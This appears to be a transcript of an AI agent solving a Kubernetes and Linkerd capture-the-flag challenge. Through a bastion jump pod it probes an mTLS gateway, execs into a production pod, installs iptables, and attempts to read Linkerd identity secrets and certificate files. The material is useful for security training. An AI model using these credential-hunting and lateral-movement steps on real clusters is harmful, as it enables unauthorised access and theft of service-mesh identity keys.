* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.2 (OUT), TLS header, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: CN=gateway.default.svc
*  start date: Feb 18 08:57:51 2026 GMT
*  expire date: Feb 16 08:57:51 2036 GMT
*  issuer: O=Linkerd-CTF; CN=Linkerd-CTF
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
> GET / HTTP/1.1

> Host: 10.111.253.191

> User-Agent: curl/7.81.0

> Accept: */*

> 

* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.3 (OUT), TLS alert, decode error (562):
* OpenSSL SSL_read: error:0A000126:SSL routines::unexpected eof while reading, errno 0
* Closing connection 0
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 56
Connection to 35.179.133.134 closed.
Thinking

The TLS handshake with client cert is succeeding! The connection drops after HTTP request. Let me try with different host header and more verbose output.

$ Bash
Try different hostnames and capture response
{
  echo ">"
  echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
  echo "curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: gateway.default.svc' https://\$GWIP/ 2>&1"
  echo "echo EXIT=\$?"
  echo "curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key --max-time 10 -o /tmp/resp.txt -w '%{http_code}' https://\$GWIP/ 2>&1"
  echo "echo"
  echo "cat /tmp/resp.txt 2>&1"
  echo "curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: backend.backend.svc.cluster.local' https://\$GWIP/ 2>&1"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v '^\[?' | grep -v '^\]0;' | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|kubectl auth\|- kubectl\|export GWIP\|curl -k\|The first\|The gate\|Veel\|^!\|^$\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/'
>
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: gateway.default.svc' https://$GWIP/ 2>&1
echo EXIT=$?
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key --max-time 10 -o /tmp/resp.txt -w '%{http_code}' https://$GWIP/ 2>&1
echo
cat /tmp/resp.txt 2>&1
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: backend.backend.svc.cluster.local' https://$GWIP/ 2>&1
exit
>
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: gateway.default.svc' https://$GWIP/ 2>&1
echo EXIT=$?
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key --max-time 10 -o /tmp/resp.txt -w '%{http_code}' https://$GWIP/ 2>&1
echo
cat /tmp/resp.txt 2>&1
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key -H 'Host: backend.backend.svc.cluster.local' https://$GWIP/ 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# >
[?2004l
bash: syntax error near unexpected token `newline'
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.
.key -H 'Host: gateway.default.svc' https://$GWIP/ 2>&1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo EXIT=$?
[?2004l
EXIT=56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.
.key --max-time 10 -o /tmp/resp.txt -w '%{http_code}' https://$GWIP/ 2>&1
[?2004l
000[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo
[?2004l

[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# cat /tmp/resp.txt 2>&1
[?2004l
cat: /tmp/resp.txt: No such file or directory
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.
.key -H 'Host: backend.backend.svc.cluster.local' https://$GWIP/ 2>&1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 56
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Use openssl s_client to send HTTP request with client cert
{
  echo ">"
  echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
  echo "echo 'GET / HTTP/1.0\r\nHost: gateway.default.svc\r\n\r\n' | openssl s_client -connect \$GWIP:443 -cert /tmp/c.crt -key /tmp/c.key -quiet 2>&1"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -20
echo 'GET / HTTP/1.0\r\nHost: gateway.default.svc\r\n\r\n' | openssl s_client -connect $GWIP:443 -cert /tmp/c.crt -key /tmp/c.key -quiet 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# >
[?2004l
bash: syntax error near unexpected token `newline'
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sys
stem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep
p '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo 'GET / HTTP/1.0\r\nHost: gateway.default.svc\
\r\n\r\n' | openssl s_client -connect $GWIP:443 -cert /tmp/c.crt -key /tmp/c.key 
 -quiet 2>&1
[?2004l
Can't use SSL_get_servername
depth=0 CN = gateway.default.svc
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = gateway.default.svc
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 CN = gateway.default.svc
verify return:1
40A72450757B0000:error:0A000418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca:../ssl/record/rec_layer_s3.c:1593:SSL alert number 48
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 1
Connection to 35.179.133.134 closed.
Thinking

The real error is unknown CA — the cert from the CTP annotation was signed by a different CA than what the gateway trusts! I need the Linkerd mesh identity cert instead. Let me extract it from the proxy.

$ Bash
Extract Linkerd proxy identity cert from production pod
{
  echo ">"
  echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
  # Connect to the Linkerd inbound proxy from within the meshed pod to extract the identity cert
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect \$GWIP:443 -cert /dev/null -key /dev/null 2>&1 | grep -A 1 \"Acceptable\"'"
  # Try getting the proxy identity cert via the admin API
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'curl -s http://localhost:4191/metrics 2>&1 | grep identity_cert | head -3'"
  # Try reading linkerd identity from the well-known tmpdir
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'find /tmp -name \"*.pem\" -o -name \"*.crt\" -o -name \"*.key\" 2>/dev/null'"
  # Check if linkerd-proxy exposes certs via /var/run
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'ls -la /var/run/ 2>&1'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -40
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

>
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect $GWIP:443 -cert /dev/null -key /dev/null 2>&1 | grep -A 1 "Acceptable"'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'curl -s http://localhost:4191/metrics 2>&1 | grep identity_cert | head -3'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'find /tmp -name "*.pem" -o -name "*.crt" -o -name "*.key" 2>/dev/null'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'ls -la /var/run/ 2>&1'
exit
>
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect $GWIP:443 -cert /dev/null -key /dev/null 2>&1 | grep -A 1 "Acceptable"'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'curl -s http://localhost:4191/metrics 2>&1 | grep identity_cert | head -3'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'find /tmp -name "*.pem" -o -name "*.crt" -o -name "*.key" 2>/dev/null'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'ls -la /var/run/ 2>&1'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# >
[?2004l
bash: syntax error near unexpected token `newline'
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sys
stem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep
p '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'echo | openssl s_client -connect $GWIP:443 -cert /de
ev/null -key /dev/null 2>&1 | grep -A 1 "Acceptable"'
[?2004l
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'curl -s http://localhost:4191/metrics 2>&1 | grep id
dentity_cert | head -3'
[?2004l
# HELP control_identity_cert_expiration_timestamp_seconds Time when this proxy's current mTLS identity certificate will expire (in seconds since the UNIX epoch).
# TYPE control_identity_cert_expiration_timestamp_seconds gauge
# UNIT control_identity_cert_expiration_timestamp_seconds seconds
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'find /tmp -name "*.pem" -o -name "*.crt" -o -name "*
*.key" 2>/dev/null'
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'ls -la /var/run/ 2>&1'
[?2004l
total 16
drwxr-xr-x 1 root root 4096 Mar 25 10:51 .
drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..
-rw-r--r-- 1 root root    0 Mar 25 10:51 adduser
drwxrwxrwt 2 root root 4096 Mar 16 00:00 lock
drwxr-xr-x 3 root root 4096 Mar 25 10:51 secrets
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check iptables rules and install iptables in debug-tools
{
  echo ">"
  # Check iptables rules via /proc since we don't have iptables binary
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/net/nf_conntrack 2>/dev/null | head -10; echo === ; cat /proc/net/ip_tables_names 2>/dev/null'"
  # Try installing iptables and checking rules
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'apt-get install -y iptables 2>/dev/null | tail -3 && iptables -t nat -L PREROUTING -n 2>&1 && iptables -t nat -L OUTPUT -n 2>&1'"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -50
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

>
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/net/nf_conntrack 2>/dev/null | head -10; echo === ; cat /proc/net/ip_tables_names 2>/dev/null'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'apt-get install -y iptables 2>/dev/null | tail -3 && iptables -t nat -L PREROUTING -n 2>&1 && iptables -t nat -L OUTPUT -n 2>&1'
exit
>
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/net/nf_conntrack 2>/dev/null | head -10; echo === ; cat /proc/net/ip_tables_names 2>/dev/null'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'apt-get install -y iptables 2>/dev/null | tail -3 && iptables -t nat -L PREROUTING -n 2>&1 && iptables -t nat -L OUTPUT -n 2>&1'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# >
[?2004l
bash: syntax error near unexpected token `newline'
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'cat /proc/net/nf_conntrack 2>/dev/null | head -10; e
echo === ; cat /proc/net/ip_tables_names 2>/dev/null'
[?2004l
===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'apt-get install -y iptables 2>/dev/null | tail -3 &&
& iptables -t nat -L PREROUTING -n 2>&1 && iptables -t nat -L OUTPUT -n 2>&1'
[?2004l
update-alternatives: using /usr/sbin/arptables-nft to provide /usr/sbin/arptables (arptables) in auto mode

update-alternatives: using /usr/sbin/ebtables-nft to provide /usr/sbin/ebtables (ebtables) in auto mode

Processing triggers for libc-bin (2.41-12+deb13u2) ...

Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination         
PROXY_INIT_REDIRECT  all  --  0.0.0.0/0            0.0.0.0/0            /* proxy-init/install-proxy-init-prerouting */
Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
PROXY_INIT_OUTPUT  all  --  0.0.0.0/0            0.0.0.0/0            /* proxy-init/install-proxy-init-output */
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Get full iptables NAT rules for Linkerd proxy redirect
{
  echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- iptables -t nat -L -n -v 2>&1"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -A 50 'Chain PROXY_INIT'
Chain PROXY_INIT_OUTPUT (1 references)
 pkts bytes target     prot opt in     out     source               destination         
  563 37914 RETURN     all  --  *      *       0.0.0.0/0            0.0.0.0/0            owner UID match 2102 /* proxy-init/ignore-proxy-user-id */
    7   420 RETURN     all  --  *      lo      0.0.0.0/0            0.0.0.0/0            /* proxy-init/ignore-loopback */
    0     0 RETURN     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            multiport dports 4567,4568 /* proxy-init/ignore-port-4567,4568 */
    5   300 REDIRECT   tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            /* proxy-init/redirect-all-outgoing-to-proxy-port */ redir ports 4140

Chain PROXY_INIT_REDIRECT (1 references)
 pkts bytes target     prot opt in     out     source               destination         
  413 24780 RETURN     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            multiport dports 4190,4191,4567,4568 /* proxy-init/ignore-port-4190,4191,4567,4568 */
  413 24780 REDIRECT   tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            /* proxy-init/redirect-all-incoming-to-proxy-port */ redir ports 4143
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check linkerd namespace access and try to read identity secrets
{
  echo "kubectl auth can-i --list -n linkerd 2>&1 | head -20"
  echo "kubectl auth can-i get secrets -n linkerd 2>&1"
  echo "kubectl get secrets -n linkerd 2>&1"
  echo "kubectl get secret linkerd-identity-issuer -n linkerd -o yaml 2>&1"
  echo "kubectl get secret linkerd-identity-trust-roots -n linkerd -o yaml 2>&1"
  echo "kubectl get cm linkerd-identity-trust-roots -n linkerd -o yaml 2>&1"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|- kubectl\|export GWIP\|curl -k\|The first\|The gate\|Veel\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^$\|^\!' | tail -40
kubectl get secrets -n linkerd 2>&1
kubectl get secret linkerd-identity-issuer -n linkerd -o yaml 2>&1
kubectl get secret linkerd-identity-trust-roots -n linkerd -o yaml 2>&1
kubectl get cm linkerd-identity-trust-roots -n linkerd -o yaml 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n linkerd 2>&1 | head -
-20
[?2004l
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
namespaces                                      []                                     []               [get watch list]
services                                        []                                     []               [get watch list]
clienttrafficpolicies.gateway.envoyproxy.io     []                                     []               [get watch list]
envoyproxies.gateway.envoyproxy.io              []                                     []               [get watch list]
gateways.gateway.networking.k8s.io              []                                     []               [get watch list]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i get secrets -n linkerd 2>&1
[?2004l
no
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get secrets -n linkerd 2>&1
[?2004l
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "secrets" in API group "" in the namespace "linkerd"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get secret linkerd-identity-issuer -n link
kerd -o yaml 2>&1
[?2004l
Error from server (Forbidden): secrets "linkerd-identity-issuer" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "secrets" in API group "" in the namespace "linkerd"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get secret linkerd-identity-trust-roots -n
n linkerd -o yaml 2>&1
[?2004l
Error from server (Forbidden): secrets "linkerd-identity-trust-roots" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "secrets" in API group "" in the namespace "linkerd"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get cm linkerd-identity-trust-roots -n lin
nkerd -o yaml 2>&1
[?2004l
Error from server (Forbidden): configmaps "linkerd-identity-trust-roots" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "configmaps" in API group "" in the namespace "linkerd"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
command terminated with exit code 1
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Check all service annotations for hidden keys
{
  echo "kubectl get svc -A -o yaml 2>&1 | grep -A 5 annotation"
  echo "exit"  
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/' | grep -v '^\[?' | grep -v '^\]0;' | tail -60
      k8s-app: kube-dns
--
    annotations:
      linkerd.io/created-by: linkerd/helm edge-26.1.4
      meta.helm.sh/release-name: linkerd-control-plane
      meta.helm.sh/release-namespace: linkerd
    creationTimestamp: "2026-03-25T10:49:12Z"
    labels:
--
    annotations:
      linkerd.io/created-by: linkerd/helm edge-26.1.4
      meta.helm.sh/release-name: linkerd-control-plane
      meta.helm.sh/release-namespace: linkerd
    creationTimestamp: "2026-03-25T10:49:12Z"
    labels:
--
    annotations:
      linkerd.io/created-by: linkerd/helm edge-26.1.4
      meta.helm.sh/release-name: linkerd-control-plane
      meta.helm.sh/release-namespace: linkerd
    creationTimestamp: "2026-03-25T10:49:12Z"
    labels:
--
    annotations:
      linkerd.io/created-by: linkerd/helm edge-26.1.4
      meta.helm.sh/release-name: linkerd-control-plane
      meta.helm.sh/release-namespace: linkerd
    creationTimestamp: "2026-03-25T10:49:12Z"
    labels:
--
    annotations:
      linkerd.io/created-by: linkerd/helm edge-26.1.4
      meta.helm.sh/release-name: linkerd-control-plane
      meta.helm.sh/release-namespace: linkerd
    creationTimestamp: "2026-03-25T10:49:12Z"
    labels:
--
    annotations:
      linkerd.io/created-by: linkerd/helm edge-26.1.4
      meta.helm.sh/release-name: linkerd-control-plane
      meta.helm.sh/release-namespace: linkerd
    creationTimestamp: "2026-03-25T10:49:12Z"
    labels:
--
    annotations:
      config.linkerd.io/opaque-ports: "443"
      linkerd.io/created-by: linkerd/helm edge-26.1.4
      meta.helm.sh/release-name: linkerd-control-plane
      meta.helm.sh/release-namespace: linkerd
    creationTimestamp: "2026-03-25T10:49:12Z"
--
    annotations:
      linkerd.io/created-by: linkerd/helm edge-26.1.4
      meta.helm.sh/release-name: linkerd-control-plane
      meta.helm.sh/release-namespace: linkerd
    creationTimestamp: "2026-03-25T10:49:12Z"
    labels:
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Try accessing backend and supersecret services from meshed pod, check Linkerd policies
{
  echo "echo '=== BACKEND FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
echo '=== SUPERSECRET FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:8080 2>&1
echo '=== RECEIVER FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:8080 2>&1
echo '=== MESHTLSAUTH ==='
kubectl get meshtlsauthentications -n supersecret -o yaml 2>&1
echo '=== AUTHZ POLICIES SUPERSECRET ==='
kubectl get authorizationpolicies -n supersecret -o yaml 2>&1
kubectl get servers -n supersecret -o yaml 2>&1"
  echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_  _\|^( \\\|^ )\|^(_/\|^$\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -80
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.


echo '=== BACKEND FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
echo '=== SUPERSECRET FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:8080 2>&1
echo '=== RECEIVER FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:8080 2>&1
echo '=== MESHTLSAUTH ==='
kubectl get meshtlsauthentications -n supersecret -o yaml 2>&1
echo '=== AUTHZ POLICIES SUPERSECRET ==='
kubectl get authorizationpolicies -n supersecret -o yaml 2>&1
kubectl get servers -n supersecret -o yaml 2>&1
exit
echo '=== BACKEND FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
echo '=== SUPERSECRET FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:8080 2>&1
echo '=== RECEIVER FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:8080 2>&1
echo '=== MESHTLSAUTH ==='
kubectl get meshtlsauthentications -n supersecret -o yaml 2>&1
echo '=== AUTHZ POLICIES SUPERSECRET ==='
kubectl get authorizationpolicies -n supersecret -o yaml 2>&1
kubectl get servers -n supersecret -o yaml 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== BACKEND FROM DEBUG ==='
[?2004l
=== BACKEND FROM DEBUG ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
